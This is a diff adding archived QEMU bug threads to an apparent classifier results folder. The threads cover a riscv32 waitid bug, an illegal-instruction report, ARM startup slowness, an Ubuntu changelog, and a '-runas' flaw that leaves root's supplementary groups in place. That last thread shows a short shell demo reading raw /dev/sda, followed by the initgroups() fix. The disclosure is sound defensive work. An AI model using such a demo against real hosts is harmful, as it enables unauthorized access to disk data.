#1935617) + +qemu (1:6.0+dfsg-1~ubuntu2) impish; urgency=medium + + * d/control: remove fuse2 trial-build (LP 1934510) + +qemu (1:6.0+dfsg-1~ubuntu1) impish; urgency=medium + + * Merge with Debian experimental, Among many other things this fixes LP Bugs: + (LP: #1907952) broken arrow keys in -display gtk on aarch64 + - qemu-kvm to systemd unit + - d/qemu-kvm-init: script for QEMU KVM preparation modules, ksm, + hugepages and architecture specifics + - d/qemu-system-common.qemu-kvm.service: systemd unit to call + qemu-kvm-init + - d/qemu-system-common.install: install helper script + - d/qemu-system-common.qemu-kvm.default: defaults for + /etc/default/qemu-kvm + - d/rules: call dh_installinit and dh_installsystemd for qemu-kvm + - Distribution specific machine type + (LP: 1304107 1621042 1776189 1761372 1761372 1776189) + - d/p/ubuntu/define-ubuntu-machine-types.patch: define distro machine + types containing release versioned machine attributes + - d/qemu-system-x86.NEWS Info on fixed machine type defintions + for host-phys-bits=true + - Add an info about -hpb machine type in debian/qemu-system-x86.NEWS + - ubuntu-q35 alias added to auto-select the most recent q35 ubuntu type + - Enable nesting by default + - d/p/ubuntu/enable-svm-by-default.patch: Enable nested svm by default + in qemu64 on amd + [ No more strictly needed, but required for backward compatibility ] + - improved dependencies + - Make qemu-system-common depend on qemu-block-extra + - Make qemu-utils depend on qemu-block-extra + - Let qemu-utils recommend sharutils + - tolerate ipxe size change on migrations to >=18.04 (LP: 1713490) + - d/p/ubuntu/pre-bionic-256k-ipxe-efi-roms.patch: old machine types + reference 256k path + - d/control-in: depend on ipxe-qemu-256k-compat-efi-roms to be able to + handle incoming migrations from former releases. + - d/control-in: Disable capstone disassembler library support (universe) + - d/qemu-system-x86.README.Debian: add info about updated nesting changes + - d/control*, d/rules: disable xen by default, but provide universe + package qemu-system-x86-xen as alternative + [includes compat links changes of 5.0-5ubuntu4] + - Fix upgrade module handling (LP 1905377) + --enable-module-upgrades for qemu-xen which doesn't exist in Debian + * Dropped Changes [in 6.0]: + - d/p/ubuntu/lp-1907789-build-no-pie-is-no-functional-liker-flag.patch: fix + ld usage of -no-pie (LP 1907789) + - d/p/u/lp-1916230-hw-s390x-fix-build-for-virtio-9p-ccw.patch: fix + virtio-9p-ccw being missing (LP 1916230) + - d/p/u/lp-1916705-disas-Fix-build-with-glib2.0-2.67.3.patch: Fix FTFBS due + to glib2.0 >=2.67.3 (LP 1916705) + - d/p/u/lp-1921754*: add EPYC-Rome-v2 as v1 missed IBRS and thereby fails + on some HW/Guest combinations e.g. Windows 10 on Threadripper chips + (LP 1921754) + - d/p/u/lp-1921880*: add EPYC-Milan features and named cpu type support + (LP 1921880) + - d/p/u/lp-1922010-linux-user-s390x-Use-the-guest-pointer-for-the-sigre*: + fix go in qemu-s390x-static (LP 1922010) + * Dropped Changes [in Debian]: + - Allow qemu to load old modules post upgrade (LP 1847361) + - Drop d/qemu-block-extra.*.in, d/qemu-system-gui.*.in + - d/rules: Drop generating package version into maintainer scripts + * Dropped Changes [No more needed >21.04]: + - d/qemu-system-gui.prerm: add no-op prerm to overcome upgrade issues on + the bad old prerm (LP 1906245 1905377) + * Added Changes + - Disable fuse export (universe dependency) + - d/p/ubuntu/enable-svm-by-default.patch: update to match v6.0 + - d/p/ubuntu/define-ubuntu-machine-types.patch: add ubuntu machine types + for v6.0 + - d/p/ubuntu/lp-1929926-*: avoid segfaults by uretprobes (LP: #1929926) + - Ease the use of module retention on upgrades (LP: #1913421) + - d/run-qemu.mount, d/rules: provide run-qemu.mount in qemu-block-extra + - d/rules: only save modules if /run/qemu isn't noexec + - d/rules: clear all (current and former) modules on purge + - debian/qemu-block-extra.postinst: enable mount unit on install/upgrade + - d/control: qemu 6.0 broke libvirt <7.2 add a breaks to avoid partial + upgrade issues (LP: #1932264) + - Enable SDL as secondary UI backend (LP: #1256185) + - d/control: add build dependency libsdl2-dev + - d/control: enable sdl graphics on build + - d/qemu-system-gui.install: add ui-sdl.so + - d/control: add runtime dependency to libgl1 + - d/rules: qemu-system-x86-xen builds modules as well now (follows the + other packages) + +qemu (1:6.0+dfsg-1~exp0) experimental; urgency=medium + + * new upstream release + * remove obsolete patches, refresh use-fixed-data-path.patch + * use libncurses-dev, not old libncursesw5-dev + * enable fuse export (and build-depend on libfuse3-dev) + * install (new) manpages for qemu-storage-daemon + * enable new hexagon qemu-user target + * two patches to fix 3 new spelling mistakes + * remove now-unused shared-library-lacks-prerequisites lintian-overrides + for qemu-user-static + +qemu (1:5.2+dfsg-10) unstable; urgency=medium + + * 5 sdhci fixes from upstream: + dont-transfer-any-data-when-command-time-out.patch + dont-write-to-SDHC_SYSAD-register-when-transfer-is-in-progress.patch + correctly-set-the-controller-status-for-ADMA.patch + limit-block-size-only-when-SDHC_BLKSIZE-register-is-writable.patch + reset-the-data-pointer-of-s-fifo_buffer-when-a-different-block-size...patch + (Closes: #986795, #970937, CVE-2021-3409, CVE-2020-17380, CVE-2020-25085) + * mptsas-remove-unused-MPTSASState.pending-CVE-2021-3392.patch + fix possible use-after-free in mptsas_free_request + (Cloese: #984449, CVE-2021-3392) + + -- Christian Ehrhardt <email address hidden> Tue, 13 Jul 2021 09:34:55 +0200 + diff --git a/results/classifier/deepseek-1/output/tag./1906193 b/results/classifier/deepseek-1/output/tag./1906193 new file mode 100644 index 00000000..94ade506 --- /dev/null +++ b/results/classifier/deepseek-1/output/tag./1906193 @@ -0,0 +1,159 @@ + +riscv32 user mode emulation: fork return values broken + +When running in a chroot with riscv32 (on x86_64; qemu git master as of today): + +The following short program forks; the child immediately returns with exit(42). The parent checks for the return value - and obtains 40! + +gcc-10.2 + +=============================================== +#include <stdlib.h> +#include <unistd.h> +#include <stdio.h> +#include <sys/wait.h> + +main(c, v) + int c; + char **v; +{ + pid_t pid, p; + int s, i, n; + + s = 0; + pid = fork(); + if (pid == 0) + exit(42); + + /* wait for the process */ + p = wait(&s); + if (p != pid) + exit (255); + + if (WIFEXITED(s)) + { + int r=WEXITSTATUS(s); + if (r!=42) { + printf("child wants to return %i (0x%X), parent received %i (0x%X), difference %i\n",42,42,r,r,r-42); + } + } +} +=============================================== + +(riscv-ilp32 chroot) farino /tmp # ./wait-test-short +child wants to return 42 (0x2A), parent received 40 (0x28), difference -2 + +=============================================== +(riscv-ilp32 chroot) farino /tmp # gcc --version +gcc (Gentoo 10.2.0-r1 p2) 10.2.0 +Copyright (C) 2020 Free Software Foundation, Inc. +Dies ist freie Software; die Kopierbedingungen stehen in den Quellen. Es +gibt KEINE Garantie; auch nicht für MARKTGÄNGIGKEIT oder FÜR SPEZIELLE ZWECKE. + +(riscv-ilp32 chroot) farino /tmp # ld --version +GNU ld (Gentoo 2.34 p6) 2.34.0 +Copyright (C) 2020 Free Software Foundation, Inc. +This program is free software; you may redistribute it under the terms of +the GNU General Public License version 3 or (at your option) a later version. +This program has absolutely no warranty. + +This is the (statically linked) binary resulting from the source; with it the problem can be demonstrated "standalone", without any other rv32 libraries or a complete chroot, just running the binary with qemu-riscv32. + +Generated with + +(riscv-ilp32 chroot) farino /tmp # gcc -static -o wait-test-short -g wait-test-short.c + + +I can confirm that the same binary works fine with qemu system emulation: + +(riscv-ilp32 qemu) (none) /tmp # ./wait-test-short +(riscv-ilp32 qemu) (none) /tmp # + + +Here's the (abbreviated) output of strace'ing qemu: + +farino ~ # strace -f /usr/bin/qemu-riscv32 /chroot/riscv-ilp32/tmp/wait-test-short +execve("/usr/bin/qemu-riscv32", ["/usr/bin/qemu-riscv32", "/chroot/riscv-ilp32/tmp/wait-tes"...], 0x7ffd95fb1330 /* 40 vars */) = 0 + +[...] + +[pid 16569] uname({sysname="Linux", nodename="farino", ...}) = 0 +[pid 16569] lstat("/chroot", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 +[pid 16569] lstat("/chroot/riscv-ilp32", {st_mode=S_IFDIR|S_ISGID|0755, st_size=4096, ...}) = 0 +[pid 16569] lstat("/chroot/riscv-ilp32/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0 +[pid 16569] lstat("/chroot/riscv-ilp32/tmp/wait-test-short", {st_mode=S_IFREG|0755, st_size=445632, ...}) = 0 +[pid 16569] mmap(0x413f1000, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x413f1000 +[pid 16569] mprotect(0x413eb000, 8192, PROT_READ) = 0 +[pid 16569] rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0 +[pid 16569] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x1339710) = 16571 +strace: Process 16571 attached +[pid 16571] set_robust_list(0x1339720, 24 <unfinished ...> +[pid 16569] rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0 +[pid 16571] <... set_robust_list resumed>) = 0 +[pid 16569] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 +[pid 16571] rt_sigprocmask(SIG_SETMASK, ~[ILL FPE SEGV RTMIN RT_1], ~[KILL STOP RTMIN RT_1], 8) = 0 +[pid 16571] rt_sigprocmask(SIG_BLOCK, ~[], ~[ILL FPE KILL SEGV STOP RTMIN RT_1], 8) = 0 +[pid 16571] clone(child_stack=0x7fe5b73871f0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tid=[16572], tls=0x7fe5b7387640, child_tidptr=0x7fe5b7387910) = 16572 +[pid 16571] rt_sigprocmask(SIG_SETMASK, ~[ILL FPE KILL SEGV STOP RTMIN RT_1], NULL, 8) = 0 +[pid 16571] rt_sigprocmask(SIG_SETMASK, ~[KILL STOP RTMIN RT_1], NULL, 8) = 0 +[pid 16571] gettid() = 16571 +[pid 16571] rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0 +[pid 16571] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 +[pid 16569] waitid(P_ALL, -1, <unfinished ...> +[pid 16571] exit_group(42) = ? +strace: Process 16572 attached +[pid 16572] +++ exited with 42 +++ +[pid 16571] +++ exited with 42 +++ +[pid 16569] <... waitid resumed>{si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=16571, si_uid=0, si_status=42, si_utime=3472328296226648184, si_stime=3475143045726351408}, WEXITED, NULL) = 0 +[pid 16569] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=16571, si_uid=0, si_status=42, si_utime=0, si_stime=0} --- +[pid 16569] statx(1, "", AT_STATX_SYNC_AS_STAT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFCHR|0600, stx_size=0, ...}) = 0 +[pid 16569] write(1, "child wants to return 42 (0x2A),"..., 74child wants to return 42 (0x2A), parent received 40 (0x28), difference -2 +) = 74 +[pid 16569] brk(0x13c1000) = 0x13c1000 +[pid 16569] brk(0x13c0000) = 0x13c0000 +[pid 16569] exit_group(0) = ? +[pid 16570] <... futex resumed>) = ? +[pid 16570] +++ exited with 0 +++ ++++ exited with 0 +++ + + +Here's qemu's own strace log: + +farino ~ # /usr/bin/qemu-riscv32 -strace /chroot/riscv-ilp32/tmp/wait-test-short +10123 brk(NULL) = 0x00073000 +10123 brk(0x00073880) = 0x00073880 +10123 uname(0x407ffed8) = 0 +10123 readlinkat(AT_FDCWD,"/proc/self/exe",0x407feff0,4096) = 39 +10123 brk(0x00094880) = 0x00094880 +10123 brk(0x00095000) = 0x00095000 +10123 mprotect(0x0006e000,8192,PROT_READ) = 0 +10123 clone(CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|0x11,child_stack=0x00000000,parent_tidptr=0x00000000,tls=0x00000000,child_tidptr=0x00073068) = 10125 +10123 clone(CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|0x11,child_stack=0x00000000,parent_tidptr=0x00000000,tls=0x00000000,child_tidptr=0x00073068) = 0 +10125 exit_group(42) +10123 waitid(0,-1,0x407fff8c,0x4) = 0 +10123 statx(1,"",AT_EMPTY_PATH,STATX_BASIC_STATS,0x407ff8e8) = 0 +child wants to return 42 (0x2A), parent received 40 (0x28), difference -2 +10123 write(1,0x73ad0,74) = 74 +10123 exit_group(0) + + +I have sent a patch, you can see it here: https://patchwork.ozlabs.org/project/qemu-devel/list/?series=221381 + +It seems like QEMU's waitid implementation has a bug with handling the status. + +Thanks a lot! Will test and post the result on monday when I'm back home. + +After applying this patch on top of qemu-5.2.0, I can confirm that it fixes the problem. + +Thank you!! + +Just as a general remark, while this specific problem seems to be solved, there may still be issues surrounding waitid(). + +(With this patch applied, in a rather complex environment I see bash processes hanging in an infinite loop, with waitid involved. I am working on isolating the problem and providing a simple test case, but so far I have not even found the code triggering it.) + +Can you add a Tested-by: tag to the patch? + +Done (took a while to figure out how...) + +A fix has been merged into master. + diff --git a/results/classifier/deepseek-1/output/team./1922773 b/results/classifier/deepseek-1/output/team./1922773 new file mode 100644 index 00000000..c513f63f --- /dev/null +++ b/results/classifier/deepseek-1/output/team./1922773 @@ -0,0 +1,131 @@ + +RISCV32 illegal instruction exception + +I'm running a machine learning model on qemu riscv32 and I ran into illegal instruction exception for some reason. I wasn't sure if this is a bug and if so whether it is related to zephyr or qemu, however I'll try to provide as much as information to get a better understanding. + +Here is the assembly code that I'm running: + +0x8000bd74 <+0>: lw a4,0(a0) + 0x8000bd76 <+2>: lw a5,8(a0) + 0x8000bd78 <+4>: lw a0,0(a4) + 0x8000bd7a <+6>: lw a1,0(a5) + 0x8000bd7c <+8>: li a3,0 + 0x8000bd7e <+10>: j 0x8000bda4 <fused_nn_pad_layout_transform+48> + 0x8000bd80 <+12>: addi a5,a3,-2 + 0x8000bd84 <+16>: li a2,27 + 0x8000bd86 <+18>: bgeu a2,a5,0x8000bdae <fused_nn_pad_layout_transform+58> +=> 0x8000bd8a <+22>: fmv.w.x fa5,zero + 0x8000bd8e <+26>: slli a5,a3,0x5 + 0x8000bd92 <+30>: add a5,a5,a4 + 0x8000bd94 <+32>: slli a5,a5,0x2 + 0x8000bd96 <+34>: add a5,a5,a1 + 0x8000bd98 <+36>: fsw fa5,0(a5) + 0x8000bd9a <+38>: addi a4,a4,1 + 0x8000bd9c <+40>: li a5,31 + 0x8000bd9e <+42>: bge a5,a4,0x8000bd80 <fused_nn_pad_layout_transform+12> + 0x8000bda2 <+46>: addi a3,a3,1 + 0x8000bda4 <+48>: li a5,31 + 0x8000bda6 <+50>: blt a5,a3,0x8000bde0 <fused_nn_pad_layout_transform+108> + 0x8000bdaa <+54>: li a4,0 + 0x8000bdac <+56>: j 0x8000bd9c <fused_nn_pad_layout_transform+40> + 0x8000bdae <+58>: li a5,1 + 0x8000bdb0 <+60>: bge a5,a4,0x8000bdd4 <fused_nn_pad_layout_transform+96> + 0x8000bdb4 <+64>: li a5,29 + 0x8000bdb6 <+66>: blt a5,a4,0x8000bdda <fused_nn_pad_layout_transform+102> + 0x8000bdba <+70>: li a5,28 + 0x8000bdbc <+72>: mul a5,a3,a5 + 0x8000bdc0 <+76>: add a5,a5,a4 + 0x8000bdc2 <+78>: lui a2,0x40000 + 0x8000bdc6 <+82>: addi a2,a2,-58 # 0x3fffffc6 + 0x8000bdca <+86>: add a5,a5,a2 + 0x8000bdcc <+88>: slli a5,a5,0x2 + 0x8000bdce <+90>: add a5,a5,a0 + 0x8000bdd0 <+92>: flw fa5,0(a5) + 0x8000bdd2 <+94>: j 0x8000bd8e <fused_nn_pad_layout_transform+26> + 0x8000bdd4 <+96>: fmv.w.x fa5,zero + 0x8000bdd8 <+100>: j 0x8000bd8e <fused_nn_pad_layout_transform+26> + 0x8000bdda <+102>: fmv.w.x fa5,zero + 0x8000bdde <+106>: j 0x8000bd8e <fused_nn_pad_layout_transform+26> + 0x8000bde0 <+108>: li a0,0 + 0x8000bde2 <+110>: ret + +My code breaks on line 0x8000bd8a and then the mcause register is loaded with value 0x02 which translates to illegal instruction. Please let me know if you need more information about this. + +I also posted this on ZephyrProject in case it is related to the Zephyr: https://github.com/zephyrproject-rtos/zephyr/issues/34026 + +I have tested on both QEMU 5.1.0 and 5.2.0 versions. I ran the same code on qemu riscv64 and didn't have the same problem. Here is the assembly code that is generated for the same operation: + +=> 0x000000008000b446 <+0>: ld a4,0(a0) + 0x000000008000b448 <+2>: ld a5,8(a0) + 0x000000008000b44a <+4>: ld a0,0(a4) + 0x000000008000b44c <+6>: ld a1,0(a5) + 0x000000008000b44e <+8>: li a3,0 + 0x000000008000b450 <+10>: j 0x8000b476 <fused_nn_pad_layout_transform+48> + 0x000000008000b452 <+12>: addiw a5,a3,-2 + 0x000000008000b456 <+16>: li a2,27 + 0x000000008000b458 <+18>: bgeu a2,a5,0x8000b480 <fused_nn_pad_layout_transform+58> + 0x000000008000b45c <+22>: li a2,0 + 0x000000008000b460 <+26>: slliw a5,a3,0x5 + 0x000000008000b464 <+30>: addw a5,a5,a4 + 0x000000008000b466 <+32>: slli a5,a5,0x2 + 0x000000008000b468 <+34>: add a5,a5,a1 + 0x000000008000b46a <+36>: sw a2,0(a5) + 0x000000008000b46c <+38>: addiw a4,a4,1 + 0x000000008000b46e <+40>: li a5,31 + 0x000000008000b470 <+42>: bge a5,a4,0x8000b452 <fused_nn_pad_layout_transform+12> + 0x000000008000b474 <+46>: addiw a3,a3,1 + 0x000000008000b476 <+48>: li a5,31 + 0x000000008000b478 <+50>: blt a5,a3,0x8000b4ac <fused_nn_pad_layout_transform+102> + 0x000000008000b47c <+54>: li a4,0 + 0x000000008000b47e <+56>: j 0x8000b46e <fused_nn_pad_layout_transform+40> + 0x000000008000b480 <+58>: li a5,1 + 0x000000008000b482 <+60>: bge a5,a4,0x8000b4a0 <fused_nn_pad_layout_transform+90> + 0x000000008000b486 <+64>: li a5,29 + 0x000000008000b488 <+66>: blt a5,a4,0x8000b4a6 <fused_nn_pad_layout_transform+96> + 0x000000008000b48c <+70>: li a5,28 + 0x000000008000b48e <+72>: mulw a5,a5,a3 + 0x000000008000b492 <+76>: addw a5,a5,a4 + 0x000000008000b494 <+78>: addiw a5,a5,-58 + 0x000000008000b498 <+82>: slli a5,a5,0x2 + 0x000000008000b49a <+84>: add a5,a5,a0 + 0x000000008000b49c <+86>: lw a2,0(a5) + 0x000000008000b49e <+88>: j 0x8000b460 <fused_nn_pad_layout_transform+26> + 0x000000008000b4a0 <+90>: li a2,0 + 0x000000008000b4a4 <+94>: j 0x8000b460 <fused_nn_pad_layout_transform+26> + 0x000000008000b4a6 <+96>: li a2,0 + 0x000000008000b4aa <+100>: j 0x8000b460 <fused_nn_pad_layout_transform+26> + 0x000000008000b4ac <+102>: li a0,0 + 0x000000008000b4ae <+104>: ret + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/testing./1740219 b/results/classifier/deepseek-1/output/testing./1740219 new file mode 100644 index 00000000..304b21a9 --- /dev/null +++ b/results/classifier/deepseek-1/output/testing./1740219 @@ -0,0 +1,180 @@ + +static linux-user ARM emulation has several-second startup time + +static linux-user emulation has several-second startup time + +My problem: I'm a Parabola packager, and I'm updating our +qemu-user-static package from 2.8 to 2.11. With my new +statically-linked 2.11, running `qemu-arm /my/arm-chroot/bin/true` +went from taking 0.006s to 3s! This does not happen with the normal +dynamically linked 2.11, or the old static 2.8. + +What happens is it gets stuck in +`linux-user/elfload.c:init_guest_space()`. What `init_guest_space` +does is map 2 parts of the address space: `[base, base+guest_size]` +and `[base+0xffff0000, base+0xffff0000+page_size]`; where it must find +an acceptable `base`. Its strategy is to `mmap(NULL, guest_size, +...)` decide where the first range is, and then check if that ++0xffff0000 is also available. If it isn't, then it starts trying +`mmap(base, ...)` for the entire address space from low-address to +high-address. + +"Normally," it finds an accaptable `base` within the first 2 tries. +With a static 2.11, it's taking thousands of tries. + +---- + +Now, from my understanding, there are 2 factors working together to +cause that in static 2.11 but not the other builds: + + - 2.11 increased the default `guest_size` from 0xf7000000 to 0xffff0000 + - PIE (and thus ASLR) is disabled for static builds + +For some reason that I don't understand, with the smaller +`guest_size` the initial `mmap(NULL, guest_size, ...)` usually +returns an acceptable address range; but larger `guest_size` makes it +consistently return a block of memory that butts right up against +another already mapped chunk of memory. This isn't just true on the +older builds, it's true with the 2.11 builds if I use the `-R` flag to +shrink the `guest_size` back down to 0xf7000000. That is with +linux-hardened 4.13.13 on x86-64. + +So then, it it falls back to crawling the entire address space; so it +tries base=0x00001000. With ASLR, that probably succeeds. But with +ASLR being disabled on static builds, the text segment is at +0x60000000; which is does not leave room for the needed +0xffff1000-size block before it. So then it tries base=0x00002000. +And so on, more than 6000 times until it finally gets to and passes +the text segment; calling mmap more than 12000 times. + +---- + +I'm not sure what the fix is. Perhaps try to mmap a continuous chunk +of size 0xffff1000, then munmap it and then mmap the 2 chunks that we +actually need. The disadvantage to that is that it does not support +the sparse address space that the current algorithm supports for +`guest_size < 0xffff0000`. If `guest_size < 0xffff0000` *and* the big +mmap fails, then it could fall back to a sparse search; though I'm not +sure the current algorithm is a good choice for it, as we see in this +bug. Perhaps it should inspect /proc/self/maps to try to find a +suitable range before ever calling mmap? + +Actually, it seems that the `[base+0xffff0000, base+0xffff0000+page_size]` segment is only mapped on 32-bit ARM. So this is 32-bit ARM-specific. + +To have a link to it from here, on the 28th I submitted a patchset to fix this: https://lists.nongnu.org/archive/html/qemu-devel/2017-12/msg05237.html + +From Alistair Buxton (a-j-buxton) on bug 1756807: +I just tested the patch from https://bugs.launchpad.net/qemu/+bug/1740219 and it fixes the problem for me. Specifically I only tried the final patch of the series. + +I duped the bugs onto this one since it is older and has a suggested patch on the ML. + +Added an qemu(Ubuntu) task to further track this, keeping it incomplete there until this is resolved upstream. + +Everything except for the final patch (which has the actual fix) is now applied on the master branch. + +This is now fixed on master, as of 3be2e41b3323169852dca11ffe6ff772c33e5aaa. + +The sha above is the merge, thanks Luke. + +The actual change by you is +commit 2a53535af471f4bee9d6cb5b363746b8d5ed21dd +Author: Luke Shumaker <email address hidden> +Date: Thu Dec 28 13:08:13 2017 -0500 + + linux-user: init_guest_space: Try to make ARM space+commpage continuous + +I'll be away a week but then look at taking this fix in. + +@Luke - to check in advance, are there depending changes post 2.11.1 that are needed for this that you know of? + +I don't believe so. The patchset applies cleanly on 2.11.0, and fixes the issue there. + +Oh, but it's worth noting that patch 1/10 had a mistake in it, which was corrected when applied as 8756e1361d177e91dc6d88f37749b809fd2407fb. + +Back again, +my question was more about if we are able to JUST take 2a53535af471f4bee9d6cb5b363746b8d5ed21dd without the rest. + +We are already in Feature Freeze for Ubuntu 18.04, so we can either + +a) wait for the next release and pick it up in full by the new qemu version (well we will do that anyway) + +b) identify a fix only (not all the cleanup and reworks) patch that will be good for the 2.11.1 in Bionic + +Especially being "just slow" but not broken makes it harder to consider the closer we get to release (I hate that as well being a performance engineer, but minimizing regressions is a target as well :-) ). +Essentially to some extend being in feature freeze is as if we are under [1] already. + +So will 2a53535af471f4bee9d6cb5b363746b8d5ed21dd alone be good in your opinion? +Or will it need more and if so what would be the minimal set of your changes. + + +[1]: https://wiki.ubuntu.com/StableReleaseUpdates + +Yes, I believe that 2a53535af471f4bee9d6cb5b363746b8d5ed21dd alone is good. + +Considering 2.12-rcX a release set the upstream status to that + +We don't generally mark bugs 'fix released' until the final (non-rc) release is made. + + +I wasn't sure if you'd usually take the interim step to "Fix Committed", thanks Peter. + +For Ubuntu: PPA: https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/3225 + +Regression test against ppa looked good tonight. + +There are new changes which I need to add for two more bugs. +But testing from the ppa is ok right now already. + +@Luke: Please test against this PPA, as I want to ensure it is working for your case before pushing to Bionic. + +I'm not on a Debian/Ubuntu-ish system, but extracting + + qemu-user-static_2.11+dfsg-1ubuntu6~ppa3_amd64.deb : data.tar.xz : usr/bin/qemu-arm-static + +and testing with that binary: + + $ time usr/bin/qemu-arm-static /var/lib/archbuild/dbscripts@armv7h/luke/usr/bin/ldconfig --help + Usage: ldconfig [OPTION...] + ... + <https://github.com/archlinuxarm/PKGBUILDs/issues>. + + real 0m0.068s + user 0m0.067s + sys 0m0.000s + +That is: LGTM. + +Thanks Luke. +I tried the same from the deb of libc for arm in bionic. + +Down from +real 0m2.031s +to +real 0m0.002s + +So confirmed as well. + +This bug was fixed in the package qemu - 1:2.11+dfsg-1ubuntu6 + +--------------- +qemu (1:2.11+dfsg-1ubuntu6) bionic; urgency=medium + + * Remove LP: 1752026 changes to d/p/ubuntu/define-ubuntu-machine-types.patch. + The Kernel fixes are preferred and already committed to the kernel. + Therefore remove the default disabling of the HTM feature (LP: #1761175) + * d/p/ubuntu/lp1739665-SSE-AVX-AVX512-cpu-features.patch: Enable new + SSE/AVX/AVX512 cpu features (LP: #1739665) + * d/p/ubuntu/lp1740219-continuous-space-commpage.patch: make Arm + space+commpage continuous which avoids long startup times on + qemu-user-static (LP: #1740219) + * d/p/ubuntu/lp-1761372-*: provide pseries-bionic-2.11-sxxm type as + convenience with all meltdown/spectre workarounds enabled by default. + This is not the default type following upstream and x86 on that. + (LP: #1761372). + * d/p/ubuntu/lp-1704312-1-* provide means to manually handle filesystem-dax + with pmem by backporting align and unarmed options (LP: #1704312). + * d/p/ubuntu/lp-1762315-slirp-Add-domainname.patch: slirp: Add domainname + option to slirp's DHCP server (LP: #1762315) + + -- Christian Ehrhardt <email address hidden> Wed, 04 Apr 2018 15:16:07 +0200 + diff --git a/results/classifier/deepseek-1/output/threads./807893 b/results/classifier/deepseek-1/output/threads./807893 new file mode 100644 index 00000000..db042aca --- /dev/null +++ b/results/classifier/deepseek-1/output/threads./807893 @@ -0,0 +1,485 @@ + +qemu privilege escalation + +If qemu is started as root, with -runas, the extra groups is not dropped correctly + +/proc/`pidof qemu`/status +.. +Uid: 100 100 100 100 +Gid: 100 100 100 100 +FDSize: 32 +Groups: 0 1 2 3 4 6 10 11 26 27 +... + +The fix is to add initgroups() or setgroups(1, [gid]) where appropriate to os-posix.c. + +The extra gid's allow read or write access to other files (such as /dev etc). + +Emulating the qemu code: + +# python +... +>>> import os +>>> os.setgid(100) +>>> os.setuid(100) +>>> os.execve("/bin/sh", [ "/bin/sh" ], os.environ) +sh-4.1$ xxd /dev/sda | head -n2 +0000000: eb48 9000 0000 0000 0000 0000 0000 0000 .H.............. +0000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ +sh-4.1$ ls -l /dev/sda +brw-rw---- 1 root disk 8, 0 Jul 8 11:54 /dev/sda +sh-4.1$ id +uid=100(qemu00) gid=100(users) groups=100(users),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video) + +Andrew Griffiths reports that -runas does not set supplementary group +IDs. This means that gid 0 (root) is not dropped when switching to an +unprivileged user. + +Add an initgroups(3) call to use the -runas user's /etc/groups +membership to update the supplementary group IDs. + +Signed-off-by: Stefan Hajnoczi <email address hidden> +--- +Note this needs compile testing on various POSIX host platforms. Tested on +Linux. Should work on BSD and Solaris. initgroups(3) is SVr4/BSD but not in +POSIX. + + os-posix.c | 6 ++++++ + 1 files changed, 6 insertions(+), 0 deletions(-) + +diff --git a/os-posix.c b/os-posix.c +index 7dfb278..6f8d488 100644 +--- a/os-posix.c ++++ b/os-posix.c +@@ -31,6 +31,7 @@ + /*needed for MAP_POPULATE before including qemu-options.h */ + #include <sys/mman.h> + #include <pwd.h> ++#include <grp.h> + #include <libgen.h> + + /* Needed early for CONFIG_BSD etc. */ +@@ -199,6 +200,11 @@ static void change_process_uid(void) + fprintf(stderr, "Failed to setgid(%d)\n", user_pwd->pw_gid); + exit(1); + } ++ if (initgroups(user_pwd->pw_name, user_pwd->pw_gid) < 0) { ++ fprintf(stderr, "Failed to initgroups(\"%s\", %d)\n", ++ user_pwd->pw_name, user_pwd->pw_gid); ++ exit(1); ++ } + if (setuid(user_pwd->pw_uid) < 0) { + fprintf(stderr, "Failed to setuid(%d)\n", user_pwd->pw_uid); + exit(1); +-- +1.7.5.4 + + + +Yep, that fix looks fine. RedHat should have a CVE number for this issue. + +or any other linux vendor that has an interest in qemu :) + +On Sat, Jul 9, 2011 at 10:22 AM, Stefan Hajnoczi +<email address hidden> wrote: +> Andrew Griffiths reports that -runas does not set supplementary group +> IDs. This means that gid 0 (root) is not dropped when switching to an +> unprivileged user. +> +> Add an initgroups(3) call to use the -runas user's /etc/groups +> membership to update the supplementary group IDs. +> +> Signed-off-by: Stefan Hajnoczi <email address hidden> +> --- +> Note this needs compile testing on various POSIX host platforms. Tested on +> Linux. Should work on BSD and Solaris. initgroups(3) is SVr4/BSD but not in +> POSIX. +> +> os-posix.c | 6 ++++++ +> 1 files 